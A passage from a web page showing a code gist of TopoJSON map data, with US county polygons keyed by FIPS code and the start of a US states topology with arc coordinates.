:[[-289,-478,478,-411,-350]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53021,&quot;arcs&quot;:[[479,480,481,-250,-382,-388]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53005,&quot;arcs&quot;:[[482,483,484,485,-407,-251,-482]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27111,&quot;arcs&quot;:[[-451,486,487,488,489,-402,-400]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38037,&quot;arcs&quot;:[[490,491,492,-426,-431]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53023,&quot;arcs&quot;:[[493,494,495,-386]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30025,&quot;arcs&quot;:[[-369,496,497,498,499,-439,-397,-363]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16049,&quot;arcs&quot;:[[500,501,502,503,504,505,506,-436,-316]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30081,&quot;arcs&quot;:[[-449,507,508,509,-501,-315]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38029,&quot;arcs&quot;:[[-372,510,511,512,513,-429,-377]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38047,&quot;arcs&quot;:[[-376,514,515,-511,-371]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16069,&quot;arcs&quot;:[[-438,516,-506,517,518,-384,-406]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38087,&quot;arcs&quot;:[[519,520,521,-497,-368,-366,-428]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38045,&quot;arcs&quot;:[[522,523,524,-515,-375,-391]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38041,&quot;arcs&quot;:[[-493,525,-520,-427]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27167,&quot;arcs&quot;:[[-490,526,527,528,-403]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38073,&quot;arcs&quot;:[[-394,529,530,531,-523,-390]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38077,&quot;arcs&quot;:[[-529,532,533,534,-530,-393,-404]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53013,&quot;arcs&quot;:[[535,536,537,-480,-387,-496]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53071,&quot;arcs&quot;:[[-538,538,-483,-481]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55051,&quot;arcs&quot;:[[-466,539,540,541,542]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23025,&quot;arcs&quot;:[[543,544,545,546,547,548,-348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23021,&quot;arcs&quot;:[[549,-544,-347]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30043,&quot;arcs&quot;:[[-461,550,551,552,553,-319,-259]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26153,&quot;arcs&quot;:[[-472,554,555,556,557]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30111,&quot;arcs&quot;:[[558,559,560,561,-475,-468,-446]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30103,&quot;arcs&quot;:[[562,-559,-445]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16061,&quot;arcs&quot;:[[-437,-507,-517]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53003,&quot;arcs&quot;:[[-519,563,-494,-385]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38085,&quot;arcs&quot;:[[-514,564,565,-491,-430]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26071,&quot;arcs&quot;:[[-433,566,567,568,569,570,-464,-421,571]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27115,&quot;arcs&quot;:[[572,573,574,575,-417,-463]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23019,&quot;arcs&quot;:[[576,577,578,579,-545,-550,-346]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53059,&quot;arcs&quot;:[[-409,580,581,582,583,584,-457]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53015,&quot;arcs&quot;:[[-585,585,586,587,588,-458]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53069,&quot;arcs&quot;:[[[-459,-589,589,-455]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27153,&quot;arcs&quot;:[[-342,590,591,592,-487,-450]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27097,&quot;arcs&quot;:[[-453,593,594,595,-591,-341]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55125,&quot;arcs&quot;:[[596,597,-540,-465,-571,598]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41007,&quot;arcs&quot;:[[[599,600,601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38001,&quot;arcs&quot;:[[-492,-566,602,603,604,605,-521,-526]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38081,&quot;arcs&quot;:[[-535,606,607,608,-531]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38051,&quot;arcs&quot;:[[-525,609,610,611,-512,-516]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38021,&quot;arcs&quot;:[[-532,-609,612,613,-610,-524]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38011,&quot;arcs&quot;:[[-606,614,-498,-522]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30023,&quot;arcs&quot;:[[-554,615,616,-508,-448,-320]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26043,&quot;arcs&quot;:[[617,618,619,-568,620]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27095,&quot;arcs&quot;:[[621,622,623,624,-594,-452,-419]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30097,&quot;arcs&quot;:[[-477,625,626,-412,-479]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30031,&quot;arcs&quot;:[[-414,627,628,629,630,631,-551,-460]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30067,&quot;arcs&quot;:[[-627,632,633,634,-628,-413]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30093,&quot;arcs&quot;:[[635,636,-616,-553]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41009,&quot;arcs&quot;:[[[637,638,639,-600,640,-587]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27065,&quot;arcs&quot;:[[-576,641,-622,-418]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55013,&quot;arcs&quot;:[[642,643,644,645,-574,646]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55113,&quot;arcs&quot;:[[647,648,649,650,651]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55129,&quot;arcs&quot;:[[-651,652,-643,653]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30011,&quot;arcs&quot;:[[654,655,656,657,-440,-500]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30095,&quot;arcs&quot;:[[-562,658,-633,-626,-476]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27051,&quot;arcs&quot;:[[-489,659,660,661,-527]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27041,&quot;arcs&quot;:[[-593,662,663,-660,-488]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55041,&quot;arcs&quot;:[[664,665,666,667,668,-599,-570]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53011,&quot;arcs&quot;:[[-584,669,-638,-586]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53039,&quot;arcs&quot;:[[-486,670,671,672,673,674,-581,-408]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30003,&quot;arcs&quot;:[[-444,675,676,677,678,-560,-563]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27155,&quot;arcs&quot;:[[-662,679,680,681,-533,-528]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55037,&quot;arcs&quot;:[[-620,682,-665,-569]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41059,&quot;arcs&quot;:[[-537,683,684,685,686,-484,-539]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41063,&quot;arcs&quot;:[[-495,-564,-518,-505,687,688,689,-684,-536]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26109,&quot;arcs&quot;:[[690,691,692,-618,693]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55099,&quot;arcs&quot;:[[-598,694,695,696,697,-649,698,-541]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46105,&quot;arcs&quot;:[[699,700,701,702,703,-604]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46031,&quot;arcs&quot;:[[704,705,706,707,-700,-603,-565]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46063,&quot;arcs&quot;:[[-605,-704,708,-655,-499,-615]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46021,&quot;arcs&quot;:[[-612,709,710,-705,-513]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30001,&quot;arcs&quot;:[[-637,711,712,713,714,-509,-617]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46089,&quot;arcs&quot;:[[-614,715,716,717,-710,-611]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46013,&quot;arcs&quot;:[[-608,718,719,720,721,722,-716,-613]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46109,&quot;arcs&quot;:[[-682,723,724,725,726,-534]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46091,&quot;arcs&quot;:[[-727,727,-719,-607]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41049,&quot;arcs&quot;:[[-687,728,729,730,-671,-485]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55085,&quot;arcs&quot;:[[-669,731,732,-695,-597]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41061,&quot;arcs&quot;:[[733,734,-685,-690]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30057,&quot;arcs&quot;:[[-632,735,-712,-636,-552]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27009,&quot;arcs&quot;:[[-625,736,737,-595]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41021,&quot;arcs&quot;:[[738,739,740,-672,-731]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30075,&quot;arcs&quot;:[[-658,741,742,743,-676,-443,-441]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26031,&quot;arcs&quot;:[[744,745,746,747,748,749]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41057,&quot;arcs&quot;:[[[750,751,752,753,754,-601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41067,&quot;arcs&quot;:[[755,756,757,-751,-640]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27145,&quot;arcs&quot;:[[-738,758,759,760,761,762,-663,-592,-596]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27149,&quot;arcs&quot;:[[763,764,765,-680,-661]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27121,&quot;arcs&quot;:[[-763,766,767,-764,-664]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41055,&quot;arcs&quot;:[[768,-673,-741]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27059,&quot;arcs&quot;:[[769,770,771,-623,-642]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27025,&quot;arcs&quot;:[[-646,772,773,774,-770,-575]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55095,&quot;arcs&quot;:[[775,776,777,-773,-645]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41051,&quot;arcs&quot;:[[-670,-583,778,779,-756,-639]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41027,&quot;arcs&quot;:[[780,781,-779,-582,-675]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41065,&quot;arcs&quot;:[[-769,-740,782,783,784,785,-781,-674]]},{&quot;type&quot;:&quot;Poly</code></pre><p><em>Truncated — <a href="https://gist.github.com/cf7bedda70b95103bd71b87f159ad269">view the full gist</a>.</em></p>
<h3>us-states.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;states&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;geometries&quot;:[{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:1000,&quot;arcs&quot;:[[0,1,2,3,4]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:2000,&quot;arcs&quot;:[[[5]],[[6]],[[7]],[[8]],[[9]],[[10]],[[11]],[[12]],[[13]],[[14]],[[15]],[[16]],[[17]],[[18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:4000,&quot;arcs&quot;:[[44,45,46,47,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:5000,&quot;arcs&quot;:[[49,50,51,52,53,54]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:6000,&quot;arcs&quot;:[[55,-47,56,57]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:8000,&quot;arcs&quot;:[[58,59,60,61,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:9000,&quot;arcs&quot;:[[64,65,66,67]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:10000,&quot;arcs&quot;:[[68,69,70,71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:11000,&quot;arcs&quot;:[[72,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:12000,&quot;arcs&quot;:[[74,75,-2]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:13000,&quot;arcs&quot;:[[76,77,-75,-1,78,79]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:15000,&quot;arcs&quot;:[[[80]],[[81]],[[82]],[[83]],[[84]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16000,&quot;arcs&quot;:[[85,86,87,88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:17000,&quot;arcs&quot;:[[92,93,94,95,96,97]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:18000,&quot;arcs&quot;:[[98,99,-95,100,101]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:19000,&quot;arcs&quot;:[[102,-98,103,104,105,106]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:20000,&quot;arcs&quot;:[[107,108,-60,109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:21000,&quot;arcs&quot;:[[110,111,112,113,-96,-100,114]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:22000,&quot;arcs&quot;:[[115,116,117,-52]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23000,&quot;arcs&quot;:[[118,119]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:24000,&quot;arcs&quot;:[[[120]],[[121,-71,122,123,124,125,-74,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:25000,&quot;arcs&quot;:[[128,129,130,131,-68,132,133,134]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:26000,&quot;arcs&quot;:[[[135,-102,136]],[[137]],[[138,139]],[[140]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27000,&quot;arcs&quot;:[[141,-107,142,143,144]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:28000,&quot;arcs&quot;:[[-4,145,-116,-51,146]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:29000,&quot;arcs&quot;:[[-97,-114,147,-55,148,-108,149,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30000,&quot;arcs&quot;:[[150,151,152,-86,153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:31000,&quot;arcs&quot;:[[-105,-150,-110,-59,154,155]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:32000,&quot;arcs&quot;:[[-89,156,-48,-56,157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:33000,&quot;arcs&quot;:[[-119,158,-135,159,160]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:34000,&quot;arcs&quot;:[[161,-69,162,163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:35000,&quot;arcs&quot;:[[164,165,166,-45,-62]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:36000,&quot;arcs&quot;:[[167,-133,-67,168,-164,169,170]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:37000,&quot;arcs&quot;:[[171,172,-80,173,174]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38000,&quot;arcs&quot;:[[-144,175,-151,176]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:39000,&quot;arcs&quot;:[[177,178,-115,-99,-136,179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:40000,&quot;arcs&quot;:[[-149,-54,180,-165,-61,-109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41000,&quot;arcs&quot;:[[-90,-158,-58,181,182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:42000,&quot;arcs&quot;:[[-163,-72,-122,183,-178,184,-170]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:44000,&quot;arcs&quot;:[[[-130,185]],[[186,-65,-132]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:45000,&quot;arcs&quot;:[[187,-77,-173]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46000,&quot;arcs&quot;:[[-176,-143,-106,-156,188,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:47000,&quot;arcs&quot;:[[189,-174,-79,-5,-147,-50,-148,-113]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:48000,&quot;arcs&quot;:[[-53,-118,190,-166,-181]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:49000,&quot;arcs&quot;:[[191,-63,-49,-157,-88]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:50000,&quot;arcs&quot;:[[-160,-134,-168,192]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:51000,&quot;arcs&quot;:[[[-127,-73,-126,193,-175,-190,-112,194]],[[195,-124]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53000,&quot;arcs&quot;:[[[-91,-183,196]],[[197]],[[198]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:54000,&quot;arcs&quot;:[[-184,-128,-195,-111,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55000,&quot;arcs&quot;:[[-139,199,-93,-103,-142,200]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:56000,&quot;arcs&quot;:[[-189,-155,-64,-192,-87,-153]]}]}},&quot;arcs&quot;:[[[2632,3060],[5,-164],[7,-242],[4,-53],[3,-30],[-2,-19],[4,-11],[-5,-25],[0,-24],[-2,-32],[2,-57],[-2,-51],[3,-52]],[[2649,2300],[-14,-1],[-59,0],[-1,-25],[6,-37],[-1,-31],[2,-16],[-4,-28]],[[2578,2162],[-4,-6],[-7,31],[-1,47],[-2,6],[-3,-36],[-1,-34],[-7,9]],[[2553,2179],[-2,291],[6,363],[4,209],[-3,20]],[[2558,3062],[24,1],[50,-3]],[[1324,6901],[1,32],[6,-19],[-1,-32],[-8,4],[2,15]],[[1317,6960],[5,-23],[-3,-33],[-2,11],[0,45]],[[1285,7153],[6,5],[3,-8],[-1,-28],[-6,-6],[-5,17],[3,20]],[[1267,7137],[12,-7],[3,-36],[13,-41],[4,-25],[0,-21],[3,-4],[1,-27],[5,-27],[0,-25],[3,8],[2,-19],[1,-74],[-3,-17],[-7,3],[-3,38],[-2,-3],[-6,28],[-2,-10],[-5,10],[1,-28],[5,7],[3,-10],[-2,-39],[-5,4],[-9,49],[-2,25],[1,26],[-7,-2],[0,20],[5,2],[5,18],[-2,31],[-6,7],[-1,50],[-2,25],[-4,-18],[-2,28],[4,14],[-3,32],[2,8]],[[1263,6985],[5,-12],[4,15],[4,-7],[-4,-28],[-6,8],[-3,24]],[[1258,7247],[-4,19],[5,13],[15,-18],[7,1],[5,-36],[9,-29],[-1,-22],[-5,-11],[-6,5],[-5,-14],[-6,9],[-7,-9],[-1,45],[0,30],[-5,1],[-1,16]],[[1252,7162],[-4,14],[-4,32],[0,24],[3,11],[4,-11],[0,20],[12,-35],[1,-33],[-4,-5],[-3,-37],[3,-11],[-3,-43],[-5,9],[0,-27],[-3,13],[-2,54],[5,25]],[[1237,7124],[-1,-22],[-4,13],[-10,84],[-7,25],[3,20],[-3,48],[-8,39],[8,38],[3,-16],[7,-13],[6,-2],[0,-30],[6,-99],[0,-85]],[[1235,7494],[10,-15],[5,2],[0,-14],[8,-52],[-5,8],[-2,-18],[6,-27],[2,-48],[-6,-13],[-2,-16],[-10,-35],[-3,1],[-1,37],[2,22],[-1,32],[-3,40],[0,21],[-2,51],[-4,22],[-1,38],[7,-36]],[[1203,7324],[4,0],[4,-35],[-2,-24],[-6,-5],[1,38],[-1,26]],[[1191,7491],[8,-1],[6,17],[8,-23],[-5,-26],[2,-9],[4,28],[10,-9],[5,-21],[-3,-38],[3,-3],[3,-50],[-7,-7],[-14,41],[0,-42],[-4,-17],[-5,7],[-3,26],[-6,18],[-5,37],[-6,17],[1,30],[4,10],[1,26],[3,-11]],[[883,7871],[-12,-48],[-1,-19],[-9,-12],[2,29],[10,30],[7,34],[3,-14]],[[870,7943],[-2,-39],[-4,-41],[-6,14],[5,47],[7,19]],[[863,9788],[3,-8],[15,-9],[8,5],[10,0],[12,-7],[7,4],[7,-15],[12,-18],[16,-4],[5,10],[11,6],[4,14],[12,2],[0,-9],[7,5],[15,-15],[9,-24],[10,-11],[2,-11],[8,-2],[8,-18],[1,-11],[5,9],[6,-7],[0,-1783],[13,-16],[2,17],[14,-24],[8,30],[18,4],[-3,-52],[4,-17],[10,-17],[2,-27],[29,-101],[4,-63],[6,17],[12,31],[7,1],[3,23],[0,34],[5,0],[1,31],[9,7],[13,26],[13,-45],[-1,-27],[3,-27],[7,-7],[10,-40],[-1,-12],[4,-22],[12,-25],[19,-110],[3,-29],[6,-29],[8,-65],[9,-55],[-3,-23],[9,-9],[-2,-33],[7,-14],[1,-38],[7,2],[14,-40],[9,-7],[5,-19],[4,-5],[1,-19],[9,-5],[3,-23],[-4,-43],[1,-36],[4,-58],[-3,-15],[-7,-53],[-10,-39],[-3,20],[-4,-6],[-3,39],[1,17],[-3,20],[7,21],[-2,7],[-7,-26],[-3,17],[-4,-10],[-12,42],[4,46],[-8,-15],[0,-23],[-6,17],[-1,22],[4,24],[-1,24],[-6,-19],[-6,42],[-3,-8],[-2,36],[5,23],[6,0],[-2,28],[3,36],[-5,-1],[-9,32],[-6,37],[-15,27],[0,77],[-4,9],[1,31],[-5,9],[-8,42],[-2,22],[-12,7],[-14,56],[-6,132],[-3,-30],[1,-27],[6,-53],[-1,-8],[3,-43],[0,-28],[-6,6],[-4,31],[-6,6],[-8,-9],[0,45],[-5,38],[-4,-12],[-18,40],[-2,-11],[10,-13],[7,-31],[3,-1],[1,-25],[4,-30],[-10,-16],[-5,10],[0,-26],[-8,20],[-2,14],[-5,0],[-13,38],[-10,33],[0,20],[-6,30],[-14,21],[-9,21],[-14,26],[-9,24],[1,26],[2,-9],[3,17],[-3,38],[4,21],[-2,9],[-7,-40],[-14,-26],[-18,10],[-14,24],[-1,18],[-7,-4],[-7,14],[-17,12],[-9,1],[-21,-10],[-8,-7],[-10,27],[-12,12],[-3,17],[-2,28],[-8,-2],[-3,-25],[-15,34],[-2,14],[-15,-27],[-7,-32],[-3,30],[3,17],[4,-5],[14,22],[-2,17],[-6,-8],[-3,22],[-6,3],[-6,55],[-3,-13],[-8,-8],[-3,8],[-3,-18],[-11,6],[-1,-20],[-7,-5],[-3,7],[2,36],[-3,-1],[-5,-38],[7,-12],[1,-27],[4,-30],[-3,-31],[-5,10],[-2,-15],[6,-7],[3,-41],[-8,-9],[-4,9],[-7,-12],[-3,10],[-9,-2],[0,16],[-4,-10],[-3,-20],[-3,18],[-5,-25],[2,-12],[-6,-15],[-6,-2],[-3,-20],[-6,-17],[-4,6],[-5,-21],[-4,1],[-8,-43],[-9,-3],[-3,14],[-5,-23],[-11,17],[2,33],[8,11],[4,-2],[2,13],[8,25],[0,21],[-11,-28],[-9,16],[-1,12],[5,48],[8,34],[1,29],[2,5],[1,30],[-4,34],[10,12],[19,48],[4,-19],[6,-5],[9,20],[-10,26],[-4,20],[-7,-2],[-5,9],[-2,-8],[-9,-14],[-4,-26],[-9,-6],[-9,-30],[-1,-20],[-7,-11],[-2,-22],[-5,-13],[-2,-39],[-10,-25],[5,-20],[-4,-29],[-9,-5],[-1,-38],[-8,-13],[-3,15],[-4,-29],[-5,-1],[1,-21],[-11,-13],[-2,-57],[12,-3],[10,-16],[3,-19],[-4,-30],[-7,-19],[-6,-1],[0,-17],[-4,-6],[1,-21],[-4,-31],[-9,-29],[-5,0],[-5,-11],[-5,2],[-3,-11],[1,-16],[-7,-8],[-2,-23],[-5,14],[-5,-45],[-9,4],[1,-24],[-6,6],[-3,-11],[0,-32],[-6,-50],[-10,-6],[-7,-23],[-2,-13],[-5,18],[-8,-48],[-2,13],[-5,-4],[-1,-27],[-5,-10],[-6,4],[-4,-27],[8,-9],[-9,-60],[-25,-20],[-6,-54],[-2,12],[1,33],[-5,6],[-6,-13],[-1,-14],[-10,-22],[-4,-25],[-1,18],[-2,-21],[-6,14],[-10,-33],[-8,2],[1,25],[-4,24],[-3,-20],[1,-21],[-11,-64],[-3,16],[-1,-24],[-8,4],[-1,38],[-4,8],[-2,-14],[4,-16],[-2,-27],[-5,-13],[-5,29],[-5,2],[-1,-11],[5,-17],[-9,-27],[6,-7],[0,-13],[-5,9],[-7,-25],[-15,1],[-7,-16],[0,-13],[-8,-15],[-6,6],[-2,35],[6,12],[4,43],[6,1],[13,28],[10,1],[4,-27],[3,20],[-1,23],[6,10],[7,0],[8,50],[10,45],[12,40],[15,18],[6,-9],[6,12],[1,-17],[-3,-19],[4,-14],[1,23],[7,2],[2,-15],[5,-5],[0,18],[-8,15],[0,11],[5,49],[6,28],[9,27],[15,24],[10,35],[5,-13],[4,5],[-1,22],[1,21],[8,44],[11,28],[8,38],[0,21],[7,148],[11,40],[-1,31],[-27,-45],[-8,6],[-2,18],[-5,9],[-1,21],[-4,-10],[-3,-32],[5,-41],[-6,-18],[-5,7],[-9,64],[-6,33],[-4,0],[-2,-24],[-3,-4],[-4,19],[-5,4],[-2,32],[-16,-37],[-13,-26],[-1,-14],[-11,-22],[-6,20],[5,23],[-1,54],[-4,57],[7,24],[-6,49],[-5,27],[-4,39],[-6,17],[-2,-34],[-7,-8],[-12,-22],[-14,-9],[-7,2],[-7,12],[-1,30],[-5,9],[-9,42],[-8,8],[-8,46],[6,21],[1,39],[-5,-8],[0,24],[2,19],[-6,18],[0,-19],[-7,8],[-1,32],[-6,4],[-3,22],[0,27],[-5,-12],[-1,26],[7,6],[-6,30],[10,2],[0,35],[2,24],[18,77],[4,23],[3,-5],[-2,33],[7,55],[6,22],[11,9],[8,-9],[12,-33],[8,4],[11,32],[11,49],[6,6],[1,-13],[13,0],[12,10],[11,52],[0,12],[-5,48],[-1,28],[-8,31],[-3,26],[8,-7],[8,22],[0,20],[-10,39],[-8,-30],[-7,5],[-6,-17],[-8,-4],[-2,-11],[-9,-17],[-2,-28],[-5,-12],[-2,34],[-5,7],[-4,-26],[-2,12],[-10,19],[-20,-1],[-14,-21],[-6,-3],[-11,13],[-22,14],[-6,12],[-3,19],[2,26],[-8,22],[2,24],[5,12],[-2,31],[